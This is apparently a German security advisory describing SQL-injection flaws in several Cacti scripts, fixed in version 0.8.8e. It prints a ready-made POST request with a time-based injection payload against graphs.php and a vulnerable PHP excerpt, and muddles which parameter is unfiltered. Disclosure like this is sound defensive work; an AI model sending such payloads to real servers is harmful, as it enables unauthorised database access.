In der Cacti-Applikation wurden mehrere Schwachstellen entdeckt, die es einem entfernten Angreifer erlauben SQL-Injection-Attacken gegen die zugrundeliegende Datenbank durchzuführen. Cacti ist eine web-basierte Anwendung, die Daten periodisch sammelt und dann grafisch darstellt. So lassen sich beispielsweise Netzwerkkomponenten überwachen. Die nun entdecken und korrigierten Sicherheitslücken befinden sich in folgenden Skripten: »graphs.php«, »cdef.php«, »data_templates.php«, »graph_templates.php« und »host_templates.php«.
Alle diese Skripte sine anfällig für SQL-Injection-Attacken. Eine solche Attacke könnte beispielsweise über folgende HTTP-Post-Anfrage durchgeführt werden:
POST /cacti/graphs.php
__csrf_magic=sid:554d6f6d20e35cecee007ab4a21e3c8832b55501,1433992277&graph_template_id=8&host_id=1&graph_template_graph_id=8&local_graph_id=4 and sleep(1)&local_graph_template_graph_id=8&_graph_template_id=8&_host_id=1&title=|host_description| - Processes&image_format_id=1&height=120&width=500&slope_mode=on&auto_scale=on&auto_scale_opts=2&auto_scale_log=&auto_scale_rigid=&auto_padding=on&export=on&upper_limit=100&lower_limit=0&base_value=1000&unit_value=&unit_exponent_value=&vertical_label=processes&color_id_19=48&task_item_id_18=90&save_component_graph=1&save_component_input=1&rrdtool_version=rrd-1.2.x&action=save
Hier wird konkret der Fehler in graphs.php ausgenutzt. Dieses Skript filtert die template_id-Variable nicht korrekt:
...$save1["id"] = $_POST["local_graph_id"]; // parameters "graph_template_id" get from POST are not filtered
...if (!is_error_message()) {
$local_graph_id = sql_save($save1, "graph_local");}
...update_graph_title_cache($local_graph_id);
if ((!is_error_message()) && ($_POST["graph_template_id"] != $_POST["_graph_template_id"])) { change_graph_template($local_graph_id, $_POST["graph_template_id"], true);}elseif (!empty($_POST["graph_template_id"])) { update_graph_data_query_cache($local_graph_id);} ...
Das Problem tritt hier schon in der ersten Zeile auf, da die graph_template_id-Variable der POST-Anfrage nicht gefiltert wird und dann im weiteren Code so verwendet wird.
Betroffen sind die Versionen vor 0.8.8e. Die neuste Version (0.8.8e) enthält die Schwachstellen nicht mehr.
